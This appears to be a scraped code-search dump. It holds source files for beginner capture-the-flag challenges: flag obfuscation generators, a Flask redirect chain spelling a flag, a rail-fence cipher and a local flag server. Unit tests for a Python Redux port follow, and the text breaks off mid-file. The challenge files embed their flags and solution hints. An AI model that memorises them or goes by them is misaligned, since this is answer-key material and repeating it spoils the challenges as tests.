f\"{varTemplate(idx)} + \"\n\n\n print(bruhFull)\n\ndef yata():\n pass\n\n\nif __name__ == \"__main__\":\n try: \n i = sys.argv[1]\n\n chad_string_shatter_method(i)\n\n except Exception as err:\n print(f\"ERR: {err}{endLine}You may have not written a command line argument so default will run:{endLine}\")\n chad_string_shatter_method(FLAG) \n\n\"\"\"\npython3 -c 'i = input();stFlag = lambda x: f\"strncat(flag, &text[{x}], 1);\"; lst = i.split(\"] + text[\"); [ print(stFlag(yee)) for yee in lst ]'\n\"\"\"\n\n\n\n\n", "id": "9056094", "language": "Python", "matching_score": 6.327455520629883, "max_stars_count": 16, "path": "pwn/64archInts/challenge/rand-obfusc.py" }, { "content": "import sys\n\nFLAG = \"jctf{cmd-args+user1put4981387325_buffoverflow}\"\nendLine = \"\\n\"\ndef cringe_strings_vulnerable_method(flag):\n retStr = \"{'\"\n retStr += \"\\','\".join(list(flag))\n retStr += \"'}\"\n # print(retStr, len(flag))\n return retStr\n\nprintfTemplate = lambda x: f'printf(\"%c\", smol_compress[{x}]);'\nfullLaziness = lambda length, values : f\"char smol_compress[{length}] = {values};\"\n\n\n# Does a quick compression to get past the age old and clever `strings` command \ndef chad_string_shatter_method(flag):\n sets = set(flag)\n\n \n # print(sets, len(sets))\n # ^ Needed because sets change all the time, bc sets lolz\n\n currSet = list(sets)\n print(fullLaziness(len(currSet), sets))\n \n for char in flag:\n idx = currSet.index(char)\n print(printfTemplate(idx))\n\n\nif __name__ == \"__main__\":\n try: \n i = sys.argv[1]\n\n chad_string_shatter_method(i)\n\n except Exception as err:\n print(f\"ERR: {err}{endLine}You may have not written a command line argument so default will run:{endLine}\")\n chad_string_shatter_method(FLAG) \n\n \n\n \n\n", "id": "6324318", "language": "Python", "matching_score": 1.0874601602554321, "max_stars_count": 16, "path": "pwn/simple_buffo2/challenge/rand-obfusc.py" }, { "content": "# Flag : jctf{y0u_l1kEmY-Redir3CTs}\n# How to solve: F12 on Network Inspector and Persist Logs\nfrom flask import Flask, redirect\n\n### Setting up the Flask App, Login Manager, and Database\napp = Flask(__name__)\n\n# Routing\n@app.route('/')\ndef home():\n return redirect('/j')\n\n@app.route('/j')\ndef j():\n return redirect('/c')\n\n@app.route('/c')\ndef c():\n return redirect('/t') \n\n@app.route('/t')\ndef t():\n return redirect('/f')\n\n@app.route('/f')\ndef f():\n return redirect('/{') \n\n@app.route('/{')\ndef open():\n return redirect('/y')\n\n@app.route('/y')\ndef y():\n return redirect('/0') \n\n@app.route('/0')\ndef _0():\n return redirect('/u')\n\n@app.route('/u')\ndef u():\n return redirect('/_') \n\n@app.route('/_')\ndef _():\n return redirect('/l')\n\n@app.route('/l')\ndef l():\n return redirect('/1') \n\n@app.route('/1')\ndef _1():\n return redirect('/k')\n\n@app.route('/k')\ndef k():\n return redirect('/E') \n\n@app.route('/E')\ndef E():\n return redirect('/m')\n\n@app.route('/m')\ndef m():\n return redirect('/Y') \n\n@app.route('/Y')\ndef Y():\n return redirect('/-')\n\n@app.route('/-')\ndef dash():\n return redirect('/R') \n\n@app.route('/R')\ndef R():\n return redirect('/e')\n\n@app.route('/e')\ndef e():\n return redirect('/d') \n\n@app.route('/d')\ndef d():\n return redirect('/i')\n\n@app.route('/i')\ndef i():\n return redirect('/r') \n\n@app.route('/r')\ndef r():\n return redirect('/3')\n\n@app.route('/3')\ndef _3():\n return redirect('/C') \n\n@app.route('/C')\ndef C():\n return redirect('/T')\n\n@app.route('/T')\ndef T():\n return redirect('/s') \n\n@app.route('/s')\ndef s():\n return redirect('/}')\n\n@app.route('/}')\ndef close():\n return redirect('/')\n\n\nif __name__ == '__main__':\n app.run(debug=True,host='0.0.0.0')\n\n\n\"\"\"\nistr = \"jctf{y0u_l1kEmY-Redir3CTs}\"\n\n\ndef fill(one, two, three):\n print(f\"\n@app.route('/{one}')\ndef {one}():\n return redirect('/{two}')\n\n@app.route('/{two}')\ndef {two}():\n return redirect('/{three}') \")\n\n\nfor i in range(0,len(istr) - 2, 2):\n fill(istr[i], istr[i + 1], istr[i + 2])\n\n\"\"\"", "id": "11049041", "language": "Python", "matching_score": 1.4074468612670898, "max_stars_count": 16, "path": "web/reDirector/challenge/reDirector.py" }, { "content": "import sys\nimport random\n\n## Hips1 script not completed\n\ncicero_1 = \"\"\"\nLorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. \nUt enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. \nDuis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. \nExcepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n\"\"\"\ncicero_2 = \"\"\"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, \ntotam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim \nipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed\nquia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. \nNeque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci \nvelit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. \nUt enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea \ncommodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?\n\"\"\"\ncicero_3 = \"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat.\"\n\nflag = \"jctf{ctrl_f_or_regex}\"\n\n\n# with open(\"hips1.txt\", \"r+\") as f:\n# f.write(f\"{cicero_1[len(cicero_1)/2]}\")\n\n\n", "id": "11039070", "language": "Python", "matching_score": 0.10585947334766388, "max_stars_count": 16, "path": "misc/hidden-in-plain-sight-1/challenge/create_hips1.py" }, { "content": "# Code modified from https://github.com/CrypTools/RailfenceCipher\ndef encode(text, key):\n fence = [\"\" for i in range(key)]\n rail = 0\n var = 1\n\n for char in text:\n fence[rail] += char\n rail += var\n\n if rail == key-1 or rail == 0:\n var = -var\n \n return \"\".join(fence)\n\n\n\n# https://github.com/CrypTools/RailfenceCipher/blob/master/py/decrypt.py\ndef decrypt(s,n):\n fence = [[] for i in range(n)]\n rail = 0\n var = 1\n\n for char in s:\n fence[rail].append(char)\n rail += var\n\n if rail == n-1 or rail == 0:\n var = -var\n\n rFence = [[] for i in range(n)]\n\n i = 0\n l = len(s)\n s = list(s)\n for r in fence:\n for j in range(len(r)):\n rFence[i].append(s[0])\n s.remove(s[0])\n i += 1\n\n rail = 0\n var = 1\n r = ''\n for i in range(l):\n r += rFence[rail][0]\n rFence[rail].remove(rFence[rail][0])\n rail += var\n\n if rail == n-1 or rail == 0:\n var = -var\n\n return r\n\n\n\n\n# Ensure that the text being encoded does not have a space character\nif __name__ == \"__main__\":\n\n msg = \"jctf{r41lf3nc30rZ1gZ4gC1ph3r}\"\n key = 4\n\n flag = encode(f\"{msg}\", key)\n solved = decrypt(flag, key)\n print(f\"flag = {flag}\")\n print(f\"msg = {msg}\")\n print(f\"flag = {solved} (but solved)\")\n\n\n", "id": "3036563", "language": "Python", "matching_score": 0.32833823561668396, "max_stars_count": 16, "path": "crypto/rail-fence/challenge/rail-fence.py" }, { "content": "import socket\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as serversocket:\n serversocket.bind((\"127.0.0.1\", 9990))\n serversocket.listen()\n conn, addr = serversocket.accept()\n\n with conn:\n conn.sendall(\"jctf{t0-pwn-y0u-g0tta-c0nn3ct-f1rst-som3wh3re}\".encode())\n conn.close()\n \n \n", "id": "3881776", "language": "Python", "matching_score": 0.1523781269788742, "max_stars_count": 16, "path": "pwn/intro-pwn/challenge/flag-server.py" } ]
1.407447
ebrakke
[ { "content": "import unittest\nimport unittest.mock as mock\n\nfrom python_redux import create_store, combine_reducers\nfrom test.helpers.action_creators import add_todo, dispatch_in_middle, throw_error, unknown_action\nfrom test.helpers.reducers import reducers\n\nclass TestCreateStoreMethod(unittest.TestCase):\n\tdef test_exposes_public_API(self):\n\t\tstore = create_store(combine_reducers(reducers))\n\t\tmethods = store.keys()\n\t\t\n\t\tself.assertEqual(len(methods), 4)\n\t\tself.assertTrue('subscribe' in methods)\n\t\tself.assertTrue('dispatch' in methods)\n\t\tself.assertTrue('get_state' in methods)\n\t\tself.assertTrue('replace_reducer' in methods)\n\t\n\tdef test_throws_if_reducer_is_not_a_function(self):\n\t\twith self.assertRaises(Exception):\n\t\t\tcreate_store(combine_reducers)\n\t\twith self.assertRaises(Exception):\n\t\t\tcreate_store('test')\n\t\twith self.assertRaises(Exception):\n\t\t\tcreate_store({})\n\t\ttry:\n\t\t\tcreate_store(lambda *x: {})\n\t\texcept Exception as e:\n\t\t\tself.fail('create_store(lambda: {}) should not have failed')\n\t\n\tdef test_passes_initial_action_and_initial_state(self):\n\t\tstore = create_store(reducers['todos'], [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t}\n\t\t])\n\t\tself.assertEqual(store['get_state'](), [{ 'id': 1, 'text': 'Hello' }])\n\t\n\tdef test_applies_reducer_to_previous_state(self):\n\t\tstore = create_store(reducers['todos'])\n\t\tself.assertEqual(store['get_state'](), [])\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(store['get_state'](), [])\n\t\t\n\t\tstore['dispatch'](add_todo('Hello'))\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t}\n\t\t])\n\t\t\n\t\tstore['dispatch'](add_todo('World'))\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 2,\n\t\t\t\t'text': 'World'\n\t\t\t}\n\t\t])\n\t\n\tdef test_applied_reducer_to_initial_state(self):\n\t\tstore = create_store(reducers['todos'], [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t}\n\t\t])\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t}\n\t\t])\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t}\n\t\t])\n\t\t\n\t\tstore['dispatch'](add_todo('World'))\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 2,\n\t\t\t\t'text': 'World'\n\t\t\t}\n\t\t])\n\t\n\tdef test_preserves_state_when_replacing_reducer(self):\n\t\tstore = create_store(reducers['todos'])\n\t\tstore['dispatch'](add_todo('Hello'))\n\t\tstore['dispatch'](add_todo('World'))\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 2,\n\t\t\t\t'text': 'World'\n\t\t\t}\n\t\t])\n\t\t\n\t\tstore['replace_reducer'](reducers['todos_reverse'])\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 2,\n\t\t\t\t'text': 'World'\n\t\t\t}\n\t\t])\n\t\t\n\t\tstore['dispatch'](add_todo('Perhaps'))\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 3,\n\t\t\t\t'text': 'Perhaps'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 2,\n\t\t\t\t'text': 'World'\n\t\t\t}\n\t\t])\n\t\t\n\t\tstore['replace_reducer'](reducers['todos'])\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 3,\n\t\t\t\t'text': 'Perhaps'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 2,\n\t\t\t\t'text': 'World'\n\t\t\t}\n\t\t])\n\t\t\n\t\tstore['dispatch'](add_todo('Surely'))\n\t\tself.assertEqual(store['get_state'](), [\n\t\t\t{\n\t\t\t\t'id': 3,\n\t\t\t\t'text': 'Perhaps'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 1,\n\t\t\t\t'text': 'Hello'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 2,\n\t\t\t\t'text': 'World'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'id': 4,\n\t\t\t\t'text': 'Surely'\n\t\t\t}\n\t\t])\n\t\t\n\tdef test_supports_multiple_subscriptions(self):\n\t\tstore = create_store(reducers['todos'])\n\t\tlistener_a = mock.MagicMock()\n\t\tlistener_b = mock.MagicMock()\n\t\t\n\t\tunsubscribe_a = store['subscribe'](listener_a)\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_a.call_args_list), 1)\n\t\tself.assertEqual(len(listener_b.call_args_list), 0)\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_a.call_args_list), 2)\n\t\tself.assertEqual(len(listener_b.call_args_list), 0)\n\t\t\n\t\tunsubscribe_b = store['subscribe'](listener_b)\n\t\tself.assertEqual(len(listener_a.call_args_list), 2)\n\t\tself.assertEqual(len(listener_b.call_args_list), 0)\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_a.call_args_list), 3)\n\t\tself.assertEqual(len(listener_b.call_args_list), 1)\n\t\t\n\t\tunsubscribe_a()\n\t\tself.assertEqual(len(listener_a.call_args_list), 3)\n\t\tself.assertEqual(len(listener_b.call_args_list), 1)\n\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_a.call_args_list), 3)\n\t\tself.assertEqual(len(listener_b.call_args_list), 2)\n\t\t\n\t\tunsubscribe_b()\n\t\tself.assertEqual(len(listener_a.call_args_list), 3)\n\t\tself.assertEqual(len(listener_b.call_args_list), 2)\n\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_a.call_args_list), 3)\n\t\tself.assertEqual(len(listener_b.call_args_list), 2)\n\t\t\n\t\tunsubscribe_a = store['subscribe'](listener_a)\n\t\tself.assertEqual(len(listener_a.call_args_list), 3)\n\t\tself.assertEqual(len(listener_b.call_args_list), 2)\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_a.call_args_list), 4)\n\t\tself.assertEqual(len(listener_b.call_args_list), 2)\n\t\t\n\tdef test_only_removes_listener_once_when_unsubscribe_is_called(self):\n\t\tstore = create_store(reducers['todos'])\n\t\tlistener_a = mock.MagicMock()\n\t\tlistener_b = mock.MagicMock()\n\t\t\n\t\tunsubscribe_a = store['subscribe'](listener_a)\n\t\tstore['subscribe'](listener_b)\n\t\t\n\t\tunsubscribe_a()\n\t\tunsubscribe_a()\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_a.call_args_list), 0)\n\t\tself.assertEqual(len(listener_b.call_args_list), 1)\n\t\n\tdef test_only_removes_relevant_listener_when_unsubscribe_is_called(self):\n\t\tstore = create_store(reducers['todos'])\n\t\tlistener = mock.MagicMock()\n\t\t\n\t\tstore['subscribe'](listener)\n\t\tunsubscribe_second = store['subscribe'](listener)\n\t\t\n\t\tunsubscribe_second()\n\t\tunsubscribe_second()\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener.call_args_list), 1)\n\t\n\tdef test_supports_removing_a_subscription_within_a_subscription(self):\n\t\tstore = create_store(reducers['todos'])\n\t\tlistener_a = mock.MagicMock()\n\t\tlistener_b = mock.MagicMock()\n\t\tlistener_c = mock.MagicMock()\n\t\t\n\t\tstore['subscribe'](listener_a)\n\t\tunsub_b = store['subscribe'](lambda: [listener_b(), unsub_b()])\n\t\tstore['subscribe'](listener_c)\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tstore['dispatch'](unknown_action())\n\t\t\n\t\tself.assertEqual(len(listener_a.call_args_list), 2)\n\t\tself.assertEqual(len(listener_b.call_args_list), 1)\n\t\tself.assertEqual(len(listener_c.call_args_list), 2)\n\t\n\tdef test_delays_unsubscribe_until_the_end_of_current_dispatch(self):\n\t\tstore = create_store(reducers['todos'])\n\t\t\n\t\tunsubscribe_handles = []\n\t\tdef do_unsubscribe_all():\n\t\t\tfor unsubscribe in unsubscribe_handles:\n\t\t\t\tunsubscribe()\n\t\t\n\t\tlistener_1 = mock.MagicMock()\n\t\tlistener_2 = mock.MagicMock()\n\t\tlistener_3 = mock.MagicMock()\n\t\t\n\t\tunsubscribe_handles.append(store['subscribe'](lambda: listener_1()))\n\t\tunsubscribe_handles.append(store['subscribe'](lambda: [listener_2(), do_unsubscribe_all()]))\n\t\tunsubscribe_handles.append(store['subscribe'](lambda: listener_3()))\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_1.call_args_list), 1)\n\t\tself.assertEqual(len(listener_2.call_args_list), 1)\n\t\tself.assertEqual(len(listener_3.call_args_list), 1)\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_1.call_args_list), 1)\n\t\tself.assertEqual(len(listener_2.call_args_list), 1)\n\t\tself.assertEqual(len(listener_3.call_args_list), 1)\n\t\t\n\tdef test_delays_subscribe_until_the_end_of_current_dispatch(self):\n\t\tstore = create_store(reducers['todos'])\n\t\t\n\t\tlistener_1 = mock.MagicMock()\n\t\tlistener_2 = mock.MagicMock()\n\t\tlistener_3 = mock.MagicMock()\n\t\t\n\t\tlistener_3_added = False\n\t\tdef maybe_add_third_listener():\n\t\t\tnonlocal listener_3_added\n\t\t\tif not listener_3_added:\n\t\t\t\tlistener_3_added = True\n\t\t\t\tstore['subscribe'](lambda: listener_3())\n\t\t\n\t\tstore['subscribe'](lambda: listener_1())\n\t\tstore['subscribe'](lambda: [listener_2(), maybe_add_third_listener()])\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_1.call_args_list), 1)\t\t\n\t\tself.assertEqual(len(listener_2.call_args_list), 1)\t\t\n\t\tself.assertEqual(len(listener_3.call_args_list), 0)\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_1.call_args_list), 2)\t\t\n\t\tself.assertEqual(len(listener_2.call_args_list), 2)\t\t\n\t\tself.assertEqual(len(listener_3.call_args_list), 1)\n\t\n\tdef test_uses_last_snapshot_of_subscribers_during_nested_dispatch(self):\n\t\tstore = create_store(reducers['todos'])\n\t\t\n\t\tlistener_1 = mock.MagicMock()\n\t\tlistener_2 = mock.MagicMock()\n\t\tlistener_3 = mock.MagicMock()\n\t\tlistener_4 = mock.MagicMock()\n\t\t\n\t\tunsubscribe_4 = None\n\t\tunsubscribe_1 = None\n\t\tdef callback_for_listener_1():\n\t\t\tnonlocal unsubscribe_1, unsubscribe_4\n\t\t\tlistener_1()\n\t\t\tself.assertEqual(len(listener_1.call_args_list), 1)\n\t\t\tself.assertEqual(len(listener_2.call_args_list), 0)\n\t\t\tself.assertEqual(len(listener_3.call_args_list), 0)\n\t\t\tself.assertEqual(len(listener_4.call_args_list), 0)\n\t\t\t\n\t\t\tunsubscribe_1()\n\t\t\tunsubscribe_4 = store['subscribe'](listener_4)\n\t\t\tstore['dispatch'](unknown_action())\n\t\t\t\n\t\t\tself.assertEqual(len(listener_1.call_args_list), 1)\n\t\t\tself.assertEqual(len(listener_2.call_args_list), 1)\n\t\t\tself.assertEqual(len(listener_3.call_args_list), 1)\n\t\t\tself.assertEqual(len(listener_4.call_args_list), 1)\n\t\t\t\n\t\tunsubscribe_1 = store['subscribe'](callback_for_listener_1)\n\t\tstore['subscribe'](listener_2)\n\t\tstore['subscribe'](listener_3)\n\t\t\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_1.call_args_list), 1)\n\t\tself.assertEqual(len(listener_2.call_args_list), 2)\n\t\tself.assertEqual(len(listener_3.call_args_list), 2)\n\t\tself.assertEqual(len(listener_4.call_args_list), 1)\n\t\t\n\t\tunsubscribe_4()\n\t\tstore['dispatch'](unknown_action())\n\t\tself.assertEqual(len(listener_1.call_args_list), 1)\n\t\tself.assertEqual(len(listener_2.call_args_list), 3)\n\t\tself.assertEqual(len(listener_3.call_args_list), 3)\n\t\tself.assertEqual(len(listener_4.call_args_list), 1)\n\t\n\tdef test_provides_up_to_date_state_when_subscriber_is_notified(self):\n\t\tstore = create_store(reducers['todos'])\n\t\tdef callback():\n\t\t\tstate = store['get_state']()\n\t\t\tself.assertEqual(state, [\n\t\t\t\t{\n\t\t\t\t\t'id': 1,\n\t\t\t\t\t'text': 'Hello'\n\t\t\t\t}\n\t\t\t])\n\t\tstore['dispatch'](add_todo('Hello'))\n\t\n\tdef test_only_accepts_plain_objects(self):\n\t\tstore = create_store(reducers['todos'])\n\t\t\n\t\ttry:\n\t\t\tstore['dispatch'](unknown_action())\n\t\texcept Exception:\n\t\t\tself.fail('Should not have thrown exception')\n\t\t\n\t\tclass AwesomeMap:\n\t\t\tdef __init__(self):\n\t\t\t\tself.x = 1\n\t\t\n\t\tfor non_object in [None, 42, 'hey', AwesomeMap()]:\n\t\t\twith self.assertRaises(Exception):\n\t\t\t\tstore['dispatch'](non_object)\n\t\n\tdef test_handles_nested_dispatches_gracefully(self):\n\t\tdef foo(state, action={}):\n\t\t\tif state is None:\n\t\t\t\tstate = 0\n\t\t\tif action.get('type') == 'foo':\n\t\t\t\treturn 1\n\t\t\treturn state\n\t\t\n\t\tdef bar(state, action={}):\n\t\t\tif state is None:\n\t\t\t\tstate = 0\n\t\t\tif action.get('type') == 'bar':\n\t\t\t\treturn 2\n\t\t\telse:\n\t\t\t\treturn state\n\t\t\n\t\tstore = create_store(combine_reducers({ 'foo': foo, 'bar': bar }))\n\t\tdef kinda_component_did_update():\n\t\t\tstate = store['get_state']()\n\t\t\tif state.get('bar') == 0:\n\t\t\t\tstore['dispatch']({ 'type': 'bar' })\n\t\tstore['subscribe'](kinda_component_did_update)\n\t\tstore['dispatch']({ 'type': 'foo' })\n\t\t\n\t\tself.assertEqual(store['get_state'](), {\n\t\t\t'foo': 1,\n\t\t\t'bar': 2\n\t\t})\n\t\n\tdef test_does_not_allow_dispatch_from_within_reducer(self):\n\t\tstore = create_store(reducers['dispatch_in_middle_of_reducer'])\n\t\twith self.assertRaises(Exception) as e:\n\t\t\tstore['dispatch'](dispatch_in_middle(lambda: store['dispatch'](unknown_action())))\n\t\tself.assertTrue('may not dispatch' in str(e.exception))\n\t\n\tdef test_throws_if_action_type_is_none(self):\n\t\tstore = create_store(reducers['todos'])\n\t\t\n\t\twith self.assertRaises(Exception) as e:\n\t\t\tstore['dispatch']({ 'type': None })\n\t\tself.assertTrue('Actions may not have an undefined \"type\"' in str(e.exception))\n \n\tdef test_does_not_throw_if_action_type_is_falsy(self):\n\t\tstore = create_store(reducers['todos'])\n\t\ttry:\n\t\t\tstore['dispatch']({ 'type': False })\n\t\t\tstore['dispatch']({ 'type': 0 })\n\t\t\tstore['dispatch']({ 'type': '' })\n\t\texcept Exception:\n\t\t\tself.fail('These should not have raised an exception')\n\t\n\tdef test_accepts_enhancer_as_third_argument(self):\n\t\tempty_array = []\n\t\tdef spy_enhancer(vanilla_create_store):\n\t\t\tdef enhancer(*args):\n\t\t\t\tself.assertEqual(args[0], reducers['todos'])\n\t\t\t\tself.assertEqual(args[1], empty_array)\n\t\t\t\tself.assertEqual(len(args), 2)\n\t\t\t\tvanilla_store = vanilla_create_store(*args)\n\t\t\t\tvanilla_store['dispatch'] = mock.MagicMock(side_effect=vanilla_store['dispatch'])\n\t\t\t\treturn vanilla_store\n\t\t\treturn enhancer\n\t\t\n\t\tstore = create_store(reducers['todos'], empty_array, spy_enhancer)\n\t\taction = add_todo('Hello')\n\t\tstore['dispatch'](action)\n\t\tself.assertEqual(store['dispatch'].call_args_list, [mock.call(action)])\n\t\tself.assertEqual(store['get_state'](), [{\n\t\t\t'id': 1,\n\t\t\t'text': 'Hello'\n\t\t}])\n\t\n\tdef test_accepts_enhancer_as_second_argument_if_no_initial_state(self):\n\t\tdef spy_enhancer(vanilla_create_store):\n\t\t\tdef enhancer(*args):\n\t\t\t\tself.assertEqual(args[0], reducers['todos'])\n\t\t\t\tself.assertEqual(args[1], None)\n\t\t\t\tself.assertEqual(len(args), 2)\n\t\t\t\tvanilla_store = vanilla_create_store(*args)\n\t\t\t\tvanilla_store['dispatch'] = mock.MagicMock(side_effect=vanilla_store['dispatch'])\n\t\t\t\treturn vanilla_store\n\t\t\treturn enhancer\n\t\t\n\t\tstore = create_store(reducers['todos'], spy_enhancer)\n\t\taction = add_todo('Hello')\n\t\tstore['dispatch'](action)\n\t\tself.assertEqual(store['dispatch'].call_args_list, [mock.call(action)])\n\t\tself.assertEqual(store['get_state'](), [{\n\t\t\t'id': 1,\n\t\t\t'text': 'Hello'\n\t\t}])\n\t\t\n\tdef test_throws_if_enhancer_is_neither_undefined_or_a_function(self):\n\t\twith self.assertRaises(Exception):\n\t\t\tcreate_store(reducers['todos'], None, {})\n\t\twith self.assertRaises(Exception):\n\t\t\tcreate_store(reducers['todos'], None, [])\n\t\twith self.assertRaises(Exception):\n\t\t\tcreate_store(reducers['todos'], None, False)\n\t\ttry:\n\t\t\tcreate_store(reducers['todos'], None, None)\n\t\t\tcreate_store(reducers['todos'], None, lambda x: x)\n\t\t\tcreate_store(reducers['todos'], lambda x: x)\n\t\t\tcreate_store(reducers['todos'], [])\n\t\t\tcreate_store(reducers['todos'], {})\n\t\texcept Exception:\n\t\t\tself.fail('Should not have thrown an exception')\n\t\n\tdef test_throws_if_next_reducer_is_not_a_function(self):\n\t\tstore = create_store(reducers['todos'])\n\t\twith self.assertRaises(Exception) as e:\n\t\t\tstore['replace_reducer']()\n\t\tself.assertTrue('Expected next_reducer to be a function' in str(e.exception))\n\t\t\n\t\ttry:\n\t\t\tstore['replace_reducer'](lambda *x: x)\n\t\texcept Exception:\n\t\t\tself.fail('Should not have raised an exception')\n\t\n\tdef test_throws_if_listener_is_not_a_function(self):\n\t\tstore = create_store(reducers['todos'])\n\t\t\n\t\twith self.assertRaises(Exception):\n\t\t\tstore['subscribe']()\n\t\twith self.assertRaises(Exception):\n\t\t\tstore['subscribe']('')\n\t\twith self.assertRaises(Exception):\n\t\t\tstore['subscribe'](None)\n\t\t\t\n\t\t\t\n\t\t\nif __name__ == '__main__':\n\tunittest.main() \n", "id": "1628393", "language": "Python", "matching_score": 4.418819427490234, "max_stars_count": 32, "path": "test/test_create_store.py" }, { "content": "import unittest\nimport unittest.mock as mock\nfrom python_redux import create_store, apply_middleware\nfrom test.helpers.reducers import reducers\nfrom test.helpers.action_creators import add_todo, add_todo_if_empty\nfrom test.helpers.middleware import thunk\n\nclass TestApplyMiddleware(unittest.TestCase):\n\tdef test_wraps_dispatch_method_with_middleware_once(self):\n\t\tdef test(spy_on_methods):\n\t\t\tdef apply(methods):\n\t\t\t\tspy_on_methods(methods)\n\t\t\t\treturn lambda next: lambda action: next(action)\n\t\t\treturn apply\n\t\t\n\t\tspy = mock.MagicMock()\n\t\tstore = apply_middleware(test(spy), thunk)(create_store)(reducers['todos'])\n\t\t\n\t\tstore['dispatch'](add_todo('Use Redux'))\n\t\tstore['dispatch'](add_todo('Flux FTW!'))\n\t\t\n\t\tself.assertEqual(spy.call_count, 1)\n\t\targs, kwargs = spy.call_args\n\t\tself.assertEqual(sorted(list(args[0].keys())), sorted(['get_state', 'dispatch']))\n\t\t\n\t\tself.assertEqual(store['get_state'](), [dict(id=1, text='Use Redux'), dict(id=2, text='Flux FTW!')])\n\t\t\nif __name__ == '__main__':\n\tunittest.main()\n\t\t\n", "id": "5274024", "language": "Python", "matching_score": 2.3868441581726074, "max_stars_count": 32, "path": "test/test_apply_middleware.py" }, { "content": "import unittest\nimport unittest.mock as mock\nimport re\nfrom python_redux import bind_action_creators, create_store\nfrom test.helpers.reducers import reducers\nfrom test.helpers.action_creators import add_todo, add_todo_if_empty, dispatch_in_middle, unknown_action\n\ntodos = reducers['todos']\naction_creators = dict(\n\tadd_todo=add_todo,\n\tadd_todo_if_empty=add_todo_if_empty,\n\tdispatch_in_middle=dispatch_in_middle,\n\tunknown_action=unknown_action\n)\n\nclass TestBindActionCreators(unittest.TestCase):\n\tstore = 